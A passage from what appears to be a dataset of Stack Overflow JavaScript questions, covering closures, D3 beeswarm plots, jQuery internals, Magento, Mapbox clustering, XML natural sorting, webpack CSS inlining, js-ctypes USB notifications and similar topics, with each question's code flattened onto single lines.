0 ) 2. test B ( 0 , 0 , 0 ) other module3 . test C ( 0 , 0 , 0 ) 4. test D ( 0 , 0 , 0 )",QUnit output : visual separation of modules "JS : Consider this small snippet of JavaScript : It creates one button for each of the fields in the map.maps object ( It 's an assoc array ) . I set the index as the button 's text and set it to alert the index as well . Obviously one would expect all the buttons to alert it 's own text when clicked , but instead all the buttons alert the text of the final index in the map.maps object when clicked.I assume this behavior is caused by the neat way JavaScript handles closures , going back and executing functions from the closures in which they were created.The only way I can imagine getting around this is setting the index as data on the button object and using it from the click callback . I could also mimic the map.maps indices in my buttons object and find the correct index on click using indexOf , but I prefer the former method.What I 'm looking for in answers is confirmation that I 'm doing it the right way , or a suggestion as to how I should do it . for ( var i in map.maps ) { buttons.push ( $ ( `` < button > '' ) .html ( i ) .click ( function ( ) { alert ( i ) ; } ) ) ; }",How can I work around the Javascript closures ? "JS : I am currently creating a hybrid mobile app ( see phonegap/cordova ) for iOS and Android and noticed when updating the img.src url of an image ( which I do frequently ) that the Android http request looks like below.My problem is that it does n't include the all important Accept header ( Accept : / ) so the server fails to load the image and returns ( HTTP/1.1 406 Not Acceptable ) . Chrome/iOS include this Accept header in their http requests when updating the img.src url.My question is , is there a way to append this header or do something that would include this header for subsequent img.src updates ? Android Http Request : GET /system/data/ba9320b8-e093-47a9-8858-c6343febf3ec/frame ? t=1339017043002 HTTP/1.1Host : MyHostNameConnection : keep-aliveUser-Agent : Mozilla/5.0 ( Linux ; U ; Android 4.0.2 ; en-us ; Galaxy Nexus Build/ICL53F ) AppleWebKit/534.30 ( KHTML , like Gecko ) Version/4.0 Mobile Safari/534.30Accept-Encoding : gzip , deflateAccept-Language : en-USAccept-Charset : utf-8 , iso-8859-1 , utf-16 , * ; q=0.7Cookie : auth_token=0882f24f-04d7-4f05-9475-cfe2a94af5bf",Manipulating http request caused by updating img.src "JS : In a new ember App you write first : In a new ember-cli App you write first : Why ? ( In the second case , I ca n't read a global property ( App.test ) from a controller . ! ? ) var App = Ember.Application.create ( { test : 'foo ' , ... } ) ; var App = Ember.Application.extend ( { test : 'foo ' , ... } ) ;",Why ember-cli uses extend instead of create ? "JS : I 've created two new Objects : and after comparing , I have got those results : Please explain how this happens ? var a = new Object ( ) ; var b = new Object ( ) ; var a = new Object ( ) ; var b = new Object ( ) ; console.log ( a == b ) ; //falseconsole.log ( a > b ) ; //falseconsole.log ( b > a ) ; //falseconsole.log ( a > = b ) ; //trueconsole.log ( b > = a ) ; //true",Comparing a new Object ( ) with another new Object ( ) in JavaScript "JS : I am using this example to make scatter plot : https : //www.d3-graph-gallery.com/graph/boxplot_show_individual_points.htmlNow this example uses jitter to randomize x position of the dots for demonstration purpose , but my goal is to make these dots in that way so they do n't collide and to be in the same row if there is collision.Best example of what I am trying to do ( visually ) is some sort of beeswarm where data is represented like in this fiddle : https : //jsfiddle.net/n444k759/4/Snippet of first example : I tried to make something like this : but it does not even prevent collision and I am a bit confused with it.I also tried to modify plot from this example : http : //bl.ocks.org/asielen/92929960988a8935d907e39e60ea8417where beeswarm looks exactly what I need to achieve . But this code is way too expanded as it is made to fit the purpose of reusable charts and I ca n't track what exact formula is used to achieve this : Any help would be great..Thanks // set the dimensions and margins of the graphvar margin = { top : 10 , right : 30 , bottom : 30 , left : 40 } , width = 460 - margin.left - margin.right , height = 400 - margin.top - margin.bottom ; // append the svg object to the body of the pagevar svg = d3.select ( `` # my_dataviz '' ) .append ( `` svg '' ) .attr ( `` width '' , width + margin.left + margin.right ) .attr ( `` height '' , height + margin.top + margin.bottom ) .append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) ; // Read the data and compute summary statistics for each specied3.csv ( `` https : //raw.githubusercontent.com/holtzy/D3-graph-gallery/master/DATA/iris.csv '' , function ( data ) { // Compute quartiles , median , inter quantile range min and max -- > these info are then used to draw the box . var sumstat = d3.nest ( ) // nest function allows to group the calculation per level of a factor .key ( function ( d ) { return d.Species ; } ) .rollup ( function ( d ) { q1 = d3.quantile ( d.map ( function ( g ) { return g.Sepal_Length ; } ) .sort ( d3.ascending ) , .25 ) median = d3.quantile ( d.map ( function ( g ) { return g.Sepal_Length ; } ) .sort ( d3.ascending ) , .5 ) q3 = d3.quantile ( d.map ( function ( g ) { return g.Sepal_Length ; } ) .sort ( d3.ascending ) , .75 ) interQuantileRange = q3 - q1 min = q1 - 1.5 * interQuantileRange max = q3 + 1.5 * interQuantileRange return ( { q1 : q1 , median : median , q3 : q3 , interQuantileRange : interQuantileRange , min : min , max : max } ) } ) .entries ( data ) // Show the X scale var x = d3.scaleBand ( ) .range ( [ 0 , width ] ) .domain ( [ `` setosa '' , `` versicolor '' , `` virginica '' ] ) .paddingInner ( 1 ) .paddingOuter ( .5 ) svg.append ( `` g '' ) .attr ( `` transform '' , `` translate ( 0 , '' + height + `` ) '' ) .call ( d3.axisBottom ( x ) ) // Show the Y scale var y = d3.scaleLinear ( ) .domain ( [ 3,9 ] ) .range ( [ height , 0 ] ) svg.append ( `` g '' ) .call ( d3.axisLeft ( y ) ) // Show the main vertical line svg .selectAll ( `` vertLines '' ) .data ( sumstat ) .enter ( ) .append ( `` line '' ) .attr ( `` x1 '' , function ( d ) { return ( x ( d.key ) ) } ) .attr ( `` x2 '' , function ( d ) { return ( x ( d.key ) ) } ) .attr ( `` y1 '' , function ( d ) { return ( y ( d.value.min ) ) } ) .attr ( `` y2 '' , function ( d ) { return ( y ( d.value.max ) ) } ) .attr ( `` stroke '' , `` black '' ) .style ( `` width '' , 40 ) // rectangle for the main box var boxWidth = 100 svg .selectAll ( `` boxes '' ) .data ( sumstat ) .enter ( ) .append ( `` rect '' ) .attr ( `` x '' , function ( d ) { return ( x ( d.key ) -boxWidth/2 ) } ) .attr ( `` y '' , function ( d ) { return ( y ( d.value.q3 ) ) } ) .attr ( `` height '' , function ( d ) { return ( y ( d.value.q1 ) -y ( d.value.q3 ) ) } ) .attr ( `` width '' , boxWidth ) .attr ( `` stroke '' , `` black '' ) .style ( `` fill '' , `` # 69b3a2 '' ) // Show the median svg .selectAll ( `` medianLines '' ) .data ( sumstat ) .enter ( ) .append ( `` line '' ) .attr ( `` x1 '' , function ( d ) { return ( x ( d.key ) -boxWidth/2 ) } ) .attr ( `` x2 '' , function ( d ) { return ( x ( d.key ) +boxWidth/2 ) } ) .attr ( `` y1 '' , function ( d ) { return ( y ( d.value.median ) ) } ) .attr ( `` y2 '' , function ( d ) { return ( y ( d.value.median ) ) } ) .attr ( `` stroke '' , `` black '' ) .style ( `` width '' , 80 ) var simulation = d3.forceSimulation ( data ) .force ( `` x '' , d3.forceX ( function ( d ) { return x ( d.Species ) ; } ) ) // .force ( `` y '' , d3.forceX ( function ( d ) { return y ( d.Sepal_lenght ) } ) ) .force ( `` collide '' , d3.forceCollide ( ) .strength ( 1 ) .radius ( 4+1 ) ) .stop ( ) ; for ( var i = 0 ; i < data.length ; ++i ) simulation.tick ( ) ; // Add individual points with jittervar jitterWidth = 50svg .selectAll ( `` points '' ) .data ( data ) .enter ( ) .append ( `` circle '' ) .attr ( `` cx '' , function ( d ) { return ( d.x ) } ) .attr ( `` cy '' , function ( d ) { return ( y ( d.Sepal_Length ) ) } ) .attr ( `` r '' , 4 ) .style ( `` fill '' , `` white '' ) .attr ( `` stroke '' , `` black '' ) } ) < ! -- Load d3.js -- > < script src= '' https : //d3js.org/d3.v4.js '' > < /script > < ! -- Create a div where the graph will take place -- > < div id= '' my_dataviz '' > < /div > var simulation = d3.forceSimulation ( data ) .force ( `` x '' , d3.forceX ( function ( d ) { return x ( d.Species ) ; } ) ) .force ( `` collide '' , d3.forceCollide ( 4 ) .strength ( 1 ) .radius ( 4+1 ) ) .stop ( ) ; for ( var i = 0 ; i < 120 ; ++i ) simulation.tick ( ) ; // Append circle pointssvg.selectAll ( `` .point '' ) .data ( data ) .enter ( ) .append ( `` circle '' ) .attr ( `` cx '' , function ( d ) { return ( x ( d.x ) ) } ) .attr ( `` cy '' , function ( d ) { return ( y ( d.y ) ) } ) .attr ( `` r '' , 4 ) .attr ( `` fill '' , `` white '' ) .attr ( `` stroke '' , `` black '' )",D3js Grouped Scatter plot with no collision "JS : I 'm trying to understand how jQuery creates the return object when searching for DOM elements . I 've gone through the source , but I 'm not completely sure I understand , and was hoping somebody here could give me some insight . From what I can gather reading the source , when querying for a jQuery DOM , jQuery finds matching DOM elements , and then adds the matched DOM element as an object using the index of the element as the key for the new object . Returning this , is returning the entire jQuery object which includes all the methods . Have I got it right to this point ? Now , it appears all the functions like css , find , ajax , hide , etc . are in the jQuery.fn object . Somehow ( and I think this is where I 'm not seeing it ) , these functions are called , not on the DOM element itself , but through the access.js https : //github.com/jquery/jquery/blob/master/src/core/access.jsusing css as an example , we haveWhat I think I 'm missing is how did we get from calling $ ( 'div ' ) .css ( ... ) to that calling the jQuery.fn.extend.css method , and from there , the access method being called with a different signature to the access method initialized in the core jQuery ? Also , if we 're constantly replacing the jQuery [ 0 ] , jQuery [ 1 ] , how is it that I can have : Maintaining two different set of document tags if they are both returning the same jQuery object ? I thought the object would be updated.Am I completely misunderstanding how this is all working ? if ( rsingleTag.test ( match [ 1 ] ) & & jQuery.isPlainObject ( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction ( this [ match ] ) ) { this [ match ] ( context [ match ] ) ; // ... and otherwise set as attributes } else { this.attr ( match , context [ match ] ) ; } } } return this ; var access = jQuery.access = function ( elems , fn , key , value , chainable , emptyGet , raw ) { jQuery.extend ( { css : function ( elem , name , extra , styles ) { ... jQuery.fn.extend ( { css : function ( name , value ) { return access ( this , function ( elem , name , value ) { var styles , len , map = { } , i = 0 ; if ( jQuery.isArray ( name ) ) { styles = getStyles ( elem ) ; len = name.length ; for ( ; i < len ; i++ ) { map [ name [ i ] ] = jQuery.css ( elem , name [ i ] , false , styles ) ; } return map ; } return value ! == undefined ? jQuery.style ( elem , name , value ) : jQuery.css ( elem , name ) ; } , name , value , arguments.length > 1 ) ; var divs = $ ( 'div ' ) ; var spans = $ ( 'span ' ) ;",Understanding jQuery return object "JS : I am working on a project where on the product page instead of the normal configurable options , there are some configurable options and then the database is queried to see if particular vendors carry the product . It then displays the list of vendors via javascript as shown below.I want the add to cart block to show up next to EACH vendor . Because this is all dynamically created , I had to pass the vendor ID to an `` add to cart '' script that I created . I took the original app/design/frontend/base/default/template/catalog/product/view/addtocart.phtml and made my own as seen below . The following php file is called via ajax . The original addtocart.phtml had a bunch of $ this variables . I need to simulate $ this ( whatever model , helper its referring to ) so that this block works . I am without much success . Can someone see what I am doing wrong or what I could do differently ? Thanks so much ! < ? phprequire_once ( '/var/www/Staging/public_html/app/Mage.php ' ) ; umask ( 0 ) ; Mage : :app ( ) ; //ensure that the value is legitimateif ( $ _POST & & is_numeric ( $ _POST [ 'value ' ] ) ) { $ value = $ _POST [ 'value ' ] ; } //pass this in your ajax call for the add buttonif ( $ _POST & & is_numeric ( $ _POST [ 'product_id ' ] ) ) { $ product_id = $ _POST [ 'product_id ' ] ; } $ helper = Mage : :helper ( 'core ' ) ; //for translation $ block = new Mage_Catalog_Blockproduct_View ( ) ; // not best practice , but neither are standalones $ product = Mage : :getModel ( 'catalog/product ' ) - > load ( $ product_id ) ; // no need to use the _ here , it 's not protected/private ; additonally Mage : :registry wo n't work because you 're technically not on a product detail page $ buttonTitle = `` ; //you are using this , but it is n't set ? > < div class= '' add-to-cart '' > < label for= '' qty '' > < ? php echo $ helper- > __ ( 'Qty : ' ) ? > < /label > < input type= '' text '' name= '' qty '' id= '' qty '' maxlength= '' 12 '' value= '' < ? php echo $ block- > getProductDefaultQty ( $ product ) * 1 ? > '' title= '' < ? php echo $ helper- > __ ( 'Qty ' ) ? > '' class= '' input-text qty '' / > < button onclick= '' window.location = ' < ? php echo Mage : :helper ( 'checkout/cart ' ) - > getAddUrl ( $ product ) ; ? > ' '' type= '' button '' title= '' < ? php echo $ buttonTitle ? > '' class= '' button btn-cart '' id= ' $ value ' > < span > < ? php echo $ buttonTitle ? > < /span > < /button > < /div >","Dynamically create add to cart block for each final configurable option , Helper for $ this" "JS : I 'm POC-ing clusters with Mabpox-gl-js v0.45.I would like to customize my cluster 's properties ( actual default values are point_count and point_count_abbreviated ) . Each of my points ( one for each city ) have a surface property ( an integer ) which I want to sum when points are clustered.I see in mapbox 's sources a reference to a reduce function to calculate custom properties : But I do n't see any mention about it on the documentation . How can I set these options ? Mapbox seems not to publish these interface ( see cluster 's documentation ) and no mention are done on provided exemple : SuperCluster.prototype = { options : { minZoom : 0 , // min zoom to generate clusters on // ... .. log : false , // whether to log timing info // a reduce function for calculating custom cluster properties reduce : null , // function ( accumulated , props ) { accumulated.sum += props.sum ; } // initial properties of a cluster ( before running the reducer ) initial : function ( ) { return { } ; } , // function ( ) { return { sum : 0 } ; } , // properties to use for individual points when running the reducer map : function ( props ) { return props ; } // function ( props ) { return { sum : props.my_value } ; } , } , map.addSource ( `` earthquakes '' , { type : `` geojson '' , // Point to GeoJSON data . This example visualizes all M1.0+ earthquakes // from 12/22/15 to 1/21/16 as logged by USGS ' Earthquake hazards program . data : `` /mapbox-gl-js/assets/earthquakes.geojson '' , cluster : true , clusterMaxZoom : 14 , // Max zoom to cluster points on clusterRadius : 50 // Radius of each cluster when clustering points ( defaults to 50 ) } ) ;",How to set the reduce options with Mapbox 's clusters ? "JS : I have found the following code on the internet , when I saw this solution I wondered if this key code is the same for all browsers.Just a doubt , thanks . var CalendarFilter = Backbone.View.extend ( { // ... events : { 'click .filter ' : 'filter ' , 'keypress input [ type=text ] ' : 'filterOnEnter ' } , filterOnEnter : function ( e ) { if ( e.keyCode ! = 13 ) return ; this.filter ( e ) ; } , filter : function ( e ) { /* ... */ } ) ; } } ) ;",Are Javascript char codes compatible with all or certain browsers ? "JS : So I have a variable length array filled with variable length arrays . Something like this for example : I am trying to get all possible combinations of one from each array . so the answer should look something like this : I 've looked into the other answer on this topic but all of them are in java ( I need javascript ) and they were looking for all combinations and not limited to the combinations of length === arr2d.length . I 've looked at this for almost 2 hours and still I can not think of a way to do this recursively . It 's one of those head explosion scenarios because both the arrays vary in length ( I have an array of these 2d arrays that I must get the combinations for ) . In the example I 've laid out there are only 18 possiblities , but in practice it could be thousands . var arr2d = [ [ 'red ' , 'blue ' ] , [ 'cotton ' , 'polyester ' , 'silk ' ] , [ 'large ' , 'medium ' , 'small ' ] ] var answer = [ [ 'red ' , 'cotton ' , 'large ' ] , [ 'red ' , 'cotton ' , 'medium ' ] , [ 'red ' , 'cotton ' , 'small ' ] , [ 'red ' , 'polyester ' , 'large ' ] , . . . ]",All possible combinations of a 2d array in Javascript JS : I was reading in my Javascript book and it was talking about the difference between these two statements.I understand the difference but the book also mentioned ( as like a little side note ) that eval ( ) will handle these differently but did n't mention how.I tried looking around a google and could n't find anything so I want to example.com and started messing around with it . I could n't see a difference in the way that they are handled.My question is : How does the eval ( ) method treat these differently ? var s = `` hello world '' ; // A primitive string valuevar S = new String ( `` hello world '' ) ; // A String object,How does eval ( ) treat a string object differently from a primitive string value ? "JS : I have a problem right now that is the result of current limitations on a server our team does not control.We have a job that should have be done by database but we 're forced to use a XML file and parse it using Javascript/jQuery . We do n't even have write access for our scripts ( only through our FTP account ) ... we do n't like to talk about it but that 's what we got.The problem , as a result of those limitations , is that we need to parse a large XML file that 's around 500kb , with 1700-ish records of document name/number/url.The number is pretty complex , such as `` 31-2b-1029E '' , mixed with stuff like `` T2315342 '' .So , I have figured that I need to use something called `` Natural Sort '' ( thank you stackoverflow ) .Anyways I tried using this script here : And applied using : This works fine on our other , smaller XML file , but for the giant 500kb-ish file Safari ( v4 ) just plainly hangs for up to a few minutes to sort this through , while Firefox ( latest ) takes around 10 second to process ( still not good , but at least sane ) .I also found this other smaller/lighter script called Alphanum : This runs faster for Safari , but is still locks up the browser for a minute or so.I did some research , and it seems that a few people recommended using XSL to sort the XML entries , which apparently is much faster due to it 's being built into the browser instead of running on top of JavaScript.There 's apparently several different implementations , with Sarissa getting getting mentioned several times , the sourceforge page seems to indicate that the last update occured back in 2011-06-22.There 's also other choices such as xslt.jsMy question is : Is XSL the best sorting option for this particular problem ? If so how can I use XSL to do Natural Sort ? ( url to resources ? ) If yes to both questions , which library should I use for the best compatibility and speed ? If XSL is not the best choice , then which one is ? Thanks for looking at my problem . /* * Reference : http : //www.overset.com/2008/09/01/javascript-natural-sort-algorithm/ * Natural Sort algorithm for Javascript - Version 0.6 - Released under MIT license * Author : Jim Palmer ( based on chunking idea from Dave Koelle ) * Contributors : Mike Grier ( mgrier.com ) , Clint Priest , Kyle Adams , guillermo */function naturalSort ( a , b ) { var re = / ( ^- ? [ 0-9 ] + ( \. ? [ 0-9 ] * ) [ df ] ? e ? [ 0-9 ] ? $ |^0x [ 0-9a-f ] + $ | [ 0-9 ] + ) /gi , sre = / ( ^ [ ] *| [ ] * $ ) /g , dre = / ( ^ ( [ \w ] + , ? [ \w ] + ) ? [ \w ] + , ? [ \w ] +\d+ : \d+ ( : \d+ ) ? [ \w ] ? |^\d { 1,4 } [ \/\- ] \d { 1,4 } [ \/\- ] \d { 1,4 } |^\w+ , \w+ \d+ , \d { 4 } ) / , hre = /^0x [ 0-9a-f ] + $ /i , ore = /^0/ , // convert all to strings and trim ( ) x = a.toString ( ) .replace ( sre , `` ) || `` , y = b.toString ( ) .replace ( sre , `` ) || `` , // chunk/tokenize xN = x.replace ( re , '\0 $ 1\0 ' ) .replace ( /\0 $ / , '' ) .replace ( /^\0/ , '' ) .split ( '\0 ' ) , yN = y.replace ( re , '\0 $ 1\0 ' ) .replace ( /\0 $ / , '' ) .replace ( /^\0/ , '' ) .split ( '\0 ' ) , // numeric , hex or date detection xD = parseInt ( x.match ( hre ) ) || ( xN.length ! = 1 & & x.match ( dre ) & & Date.parse ( x ) ) , yD = parseInt ( y.match ( hre ) ) || xD & & y.match ( dre ) & & Date.parse ( y ) || null ; // first try and sort Hex codes or Dates if ( yD ) if ( xD < yD ) return -1 ; else if ( xD > yD ) return 1 ; // natural sorting through split numeric strings and default strings for ( var cLoc=0 , numS=Math.max ( xN.length , yN.length ) ; cLoc < numS ; cLoc++ ) { // find floats not starting with ' 0 ' , string or 0 if not defined ( Clint Priest ) oFxNcL = ! ( xN [ cLoc ] || `` ) .match ( ore ) & & parseFloat ( xN [ cLoc ] ) || xN [ cLoc ] || 0 ; oFyNcL = ! ( yN [ cLoc ] || `` ) .match ( ore ) & & parseFloat ( yN [ cLoc ] ) || yN [ cLoc ] || 0 ; // handle numeric vs string comparison - number < string - ( Kyle Adams ) if ( isNaN ( oFxNcL ) ! == isNaN ( oFyNcL ) ) return ( isNaN ( oFxNcL ) ) ? 1 : -1 ; // rely on string comparison if different types - i.e . '02 ' < 2 ! = '02 ' < ' 2 ' else if ( typeof oFxNcL ! == typeof oFyNcL ) { oFxNcL += `` ; oFyNcL += `` ; } if ( oFxNcL < oFyNcL ) return -1 ; if ( oFxNcL > oFyNcL ) return 1 ; } return 0 ; } // Natural Sort ( disabled because it is super freaking slow ... . need xsl transform sorting instead ) var sortedSet = $ ( data ) .children ( `` documents '' ) .children ( `` document '' ) .sort ( function ( a , b ) { return naturalSort ( $ ( a ) .children ( 'index ' ) .text ( ) , $ ( b ) .children ( 'index ' ) .text ( ) ) ; } ) ; function alphanum ( a , b ) { function chunkify ( t ) { var tz = [ ] , x = 0 , y = -1 , n = 0 , i , j ; while ( i = ( j = t.charAt ( x++ ) ) .charCodeAt ( 0 ) ) { var m = ( i == 46 || ( i > =48 & & i < = 57 ) ) ; if ( m ! == n ) { tz [ ++y ] = `` '' ; n = m ; } tz [ y ] += j ; } return tz ; } var aa = chunkify ( a ) ; var bb = chunkify ( b ) ; for ( x = 0 ; aa [ x ] & & bb [ x ] ; x++ ) { if ( aa [ x ] ! == bb [ x ] ) { var c = Number ( aa [ x ] ) , d = Number ( bb [ x ] ) ; if ( c == aa [ x ] & & d == bb [ x ] ) { return c - d ; } else return ( aa [ x ] > bb [ x ] ) ? 1 : -1 ; } } return aa.length - bb.length ; }",Fast Natural Sort for Large XML File in Browser ? "JS : I have a JavaScript snippet with a recursive function call : This does nothing but call itself a few times , but it runs.Pasting the above into JSLint gives me this error : However , if I paste in the following snippet , ( using a function declaration instead of var ) : JSLint loves it , no errors.I know that the goal of JSLint is to prevent bugs in JavaScript code . Does anyone know why JSLint thinks the first one is bad JavaScript ? What bug am I preventing by not making a recursive call in the first way ? EDIT : To any future visitors to this question : Neither of these JavaScript snippets throw any errors in the latest version of JSLint . ( function ( ) { `` use strict '' ; var recurse = function ( x ) { if ( x < = 0 ) { return ; } return recurse ( x - 1 ) ; } ; recurse ( 3 ) ; } ( ) ) ; 'recurse ' is out of scope . ( function ( ) { `` use strict '' ; function recurse ( x ) { if ( x < = 0 ) { return ; } return recurse ( x - 1 ) ; } recurse ( 3 ) ; } ( ) ) ;",JSLint claims certain recursive function calls are `` out of scope '' "JS : Here is original question : Getting JavaScript object key listBut if the situation is little bit more complex like : Then how you get keys like that ? var obj = [ { key1 : 'value1 ' } , { key2 : 'value2 ' } , { key3 : 'value3 ' } , { key4 : 'value4 ' } ] [ key1 , key2 , key3 , key4 ]",Getting JavaScript object key list vol . 2 "JS : here is my current watchlist for my gulpfile.jsand this works . but a tutorial i am following has something slightly different : do I need the .on ( 'change ' , browserSync.reload ) ? it works ; I 'm just curious if what i 'm doing is n't good practice . Thanks ! // Gulp watchlistgulp.task ( 'watch ' , [ 'browserSync ' , 'sass ' ] , function ( ) { gulp.watch ( 'app/scss/**/*.scss ' , [ 'sass ' ] ) ; gulp.watch ( 'app/*.html ' ) .on ( 'change ' , browserSync.reload ) ; gulp.watch ( 'app/js/**/*.js ' ) .on ( 'change ' , browserSync.reload ) ; //add more watchers here } ) ; gulp.task ( 'watch ' , [ 'browserSync ' , 'sass ' ] , function ( ) { gulp.watch ( 'app/scss/**/*.scss ' , [ 'sass ' ] ) ; // Reloads the browser whenever HTML or JS files change gulp.watch ( 'app/*.html ' , browserSync.reload ) ; gulp.watch ( 'app/js/**/*.js ' , browserSync.reload ) ; } ) ;",Gulpfile.js watch best practice "JS : I 'm trying to run a program built with GHCJS using node.js . However , I get the following error : Is it possible to increase the number of allowed variables in node ? Is there a better utility for running JS files which would allow for more variablesAre there optimization tools which could automatically reduce the number of variables ? Note that this is machine generated JS , so I have no desire to go through by hand and reduce the number of variables.Any ideas are welcome . SyntaxError : Too many variables declared ( only 131071 allowed ) at Module._compile ( module.js:439:25 ) at Object.Module._extensions..js ( module.js:474:10 ) at Module.load ( module.js:356:32 ) at Function.Module._load ( module.js:312:12 ) at Function.Module.runMain ( module.js:497:10 ) at startup ( node.js:119:16 ) at node.js:906:3",Too many variables to run GHCJS program with Node "JS : We had been using HtmlWebpackInlineSourcePlugin without issue but it 's no longer supported so we moved to InlineChunkHtmlPlugin which works great for JS , but refuses to capture the output style.css file and inline it , leaving us with no styles.Is there some way to inline CSS without building a crude custom solution ? There 's many questions similar to mine , but all answers I 've found rely on the now unmaintained HtmlWebpackInlineSourcePlugin plugin . const HtmlWebpackPlugin = require ( 'html-webpack-plugin ' ) ; const HtmlWebpackInlineSourcePlugin = require ( 'html-webpack-inline-source-plugin ' ) ; const InlineChunkHtmlPlugin = require ( 'react-dev-utils/InlineChunkHtmlPlugin ' ) ; module.exports = { // ... our other configuration options , loaders , etc plugins : [ new CleanWebpackPlugin ( pathsToClean ) , new MiniCssExtractPlugin ( { filename : 'style.css ' , } ) , new HtmlWebpackPlugin ( { template : './template.html ' , // inject : 'body ' , inject : true , filename : './output.html ' , inlineSource : ' . ( js|css ) $ ' , chunks : [ 'chunk ' ] , } ) , // new HtmlWebpackInlineSourcePlugin ( ) ; // Used to work for loading JS & CSS new InlineChunkHtmlPlugin ( HtmlWebpackPlugin , [ / . */ ] ) ; // Only loads JS , no CSS -- https : //openbase.io/js/react-dev-utils ] , }","Inline CSS with Webpack , without HtmlWebpackInlineSourcePlugin ?" "JS : I 'm trying to use js-ctypes in Firefox to receive USB media/drive notifications , but I 'm having a few issues and I ca n't tell if it 's because I 'm very inexperienced at Win32 API or awful at js-ctypes ( or both ! ) I 've started by adapting an example I found on Alexandre Poirot 's blog : Blog EntryFull JS SourceThat example uses js-ctypes to create a `` message-only '' window , and then interacts with the shell service for the purpose of communicating with the Windows notification tray.It seems simple enough , so after some research on the merits of RegisterDeviceNotification vs SHChangeNotifyRegister , I 'm trying to adapt that ( working ! ) example to register for device updates via SHChangeNotifyRegister.The code resides in a bootstrapped ( restartless ) Firefox extension ( code below ) .The implementation of the WindowProc works well , as in the original example . My JavaScript callback logs the Window messages that come in ( just numerically for this example ) .Problems : Firstly , it seems that calling DestroyWindow crashes Firefox ( almost always ) on shutdown ( ) of the extension . Is there some Windows message I should handle on the `` message-only '' window to gracefully handle DestryWindow ? Secondly , although it looks from the console output ( below ) that I 'm getting meaningful values out of the calls to SHGetSpecialFolderLocation and SHChangeNotifyRegister ( the return values are n't errors and the PIDLISTITEM pointer is some real address ) I 'm not getting Device/Drive messages in the JavaScript callback . Also , I tried to reproduce the PIDLISTITEM structures to no avail ( could n't get js-ctypes to recognise them in calls to SHChangeNotifyRegister ) and after studying some other non C++ examples , it seems that most folks are just using long* instead -- I hope that 's the source of my misunderstanding ! I 've verified via similar C++ sample project from Microsoft that the messages themselves are received when the SHChangeNotifyRegistration succeeds and I generate USB media events ( ny inserting & removing USB flash media ) . Minimal code to reproduce the issues follows : install.rdf : bootstrap.js : Console output : < ? xml version= '' 1.0 '' ? > < RDF xmlns= '' http : //www.w3.org/1999/02/22-rdf-syntax-ns # '' xmlns : em= '' http : //www.mozilla.org/2004/em-rdf # '' > < Description about= '' urn : mozilla : install-manifest '' > < em : id > testwndproc @ foo.com < /em : id > < em : type > 2 < /em : type > < em : name > TEST WNDPROC < /em : name > < em : version > 1.0 < /em : version > < em : bootstrap > true < /em : bootstrap > < em : unpack > true < /em : unpack > < em : description > Testing wndProc via JS-CTYPES on WIN32. < /em : description > < em : creator > David < /em : creator > < ! -- Firefox Desktop -- > < em : targetApplication > < Description > < em : id > { ec8030f7-c20a-464f-9b0e-13a3a9e97384 } < /em : id > < em : minVersion > 4.0 . * < /em : minVersion > < em : maxVersion > 29.0 . * < /em : maxVersion > < /Description > < /em : targetApplication > < /Description > < /RDF > const Cc = Components.classes ; const Ci = Components.interfaces ; const Cu = Components.utils ; Components.utils.import ( `` resource : //gre/modules/ctypes.jsm '' ) ; let consoleService = Cc [ `` @ mozilla.org/consoleservice ; 1 '' ] .getService ( Ci.nsIConsoleService ) ; function LOG ( msg ) { consoleService.logStringMessage ( `` TEST-WNDPROC : `` +msg ) ; } var WindowProcType , DefWindowProc , RegisterClass , CreateWindowEx , DestroyWindow , SHGetSpecialFolderLocation , WNDCLASS , wndclass , messageWin , libs = { } ; var windowProcJSCallback = function ( hWnd , uMsg , wParam , lParam ) { LOG ( `` windowProc : `` +JSON.stringify ( [ uMsg , wParam , lParam ] ) ) ; // // TODO : decode uMsg , wParam , lParam to interpret // the incoming ShChangeNotifyEntry messages ! // return DefWindowProc ( hWnd , uMsg , wParam , lParam ) ; } ; function startup ( data , reason ) { try { LOG ( `` loading USER32.DLL ... '' ) ; libs.user32 = ctypes.open ( `` user32.dll '' ) ; LOG ( `` loading SHELL32.DLL ... '' ) ; libs.shell32 = ctypes.open ( `` shell32.dll '' ) ; LOG ( `` registering callback ctype WindowProc ... '' ) ; WindowProc = ctypes.FunctionType ( ctypes.stdcall_abi , ctypes.int , [ ctypes.voidptr_t , ctypes.int32_t , ctypes.int32_t , ctypes.int32_t ] ) .ptr ; LOG ( `` registering API CreateWindowEx ... '' ) ; CreateWindowEx = libs.user32.declare ( `` CreateWindowExA '' , ctypes.winapi_abi , ctypes.voidptr_t , ctypes.long , ctypes.char.ptr , ctypes.char.ptr , ctypes.int , ctypes.int , ctypes.int , ctypes.int , ctypes.int , ctypes.voidptr_t , ctypes.voidptr_t , ctypes.voidptr_t , ctypes.voidptr_t ) ; LOG ( `` registering API DestroyWindow ... '' ) ; DestroyWindow = libs.user32.declare ( `` DestroyWindow '' , ctypes.winapi_abi , ctypes.bool , ctypes.voidptr_t ) ; /* // previously using ... . LOG ( `` registering ctype SHITEMID ... '' ) ; var ShItemId = ctypes.StructType ( `` ShItemId '' , [ { cb : ctypes.unsigned_short } , { abID : ctypes.uint8_t.array ( 1 ) } ] ) ; LOG ( `` registering ctype ITEMIDLIST ... '' ) ; var ItemIDList = ctypes.StructType ( `` ItemIDList '' , [ { mkid : ShItemId } ] ) ; */ LOG ( `` registering ctype SHChangeNotifyEntry ... '' ) ; var SHChangeNotifyEntry = ctypes.StructType ( `` SHChangeNotifyEntry '' , [ { pidl : ctypes.long.ptr } , /* ItemIDList.ptr ? ? ? */ { fRecursive : ctypes.bool } ] ) ; LOG ( `` registering API SHChangeNotifyRegister ... '' ) ; SHChangeNotifyRegister = libs.shell32.declare ( `` SHChangeNotifyRegister '' , ctypes.winapi_abi , ctypes.unsigned_long , ctypes.voidptr_t , ctypes.int , ctypes.long , ctypes.unsigned_int , ctypes.int , SHChangeNotifyEntry.array ( ) /* SHChangeNotifyEntry.ptr ? ? ? */ ) ; LOG ( `` registering ctype WNDCLASS ... '' ) ; WNDCLASS = ctypes.StructType ( `` WNDCLASS '' , [ { style : ctypes.uint32_t } , { lpfnWndProc : WindowProc } , { cbClsExtra : ctypes.int32_t } , { cbWndExtra : ctypes.int32_t } , { hInstance : ctypes.voidptr_t } , { hIcon : ctypes.voidptr_t } , { hCursor : ctypes.voidptr_t } , { hbrBackground : ctypes.voidptr_t } , { lpszMenuName : ctypes.char.ptr } , { 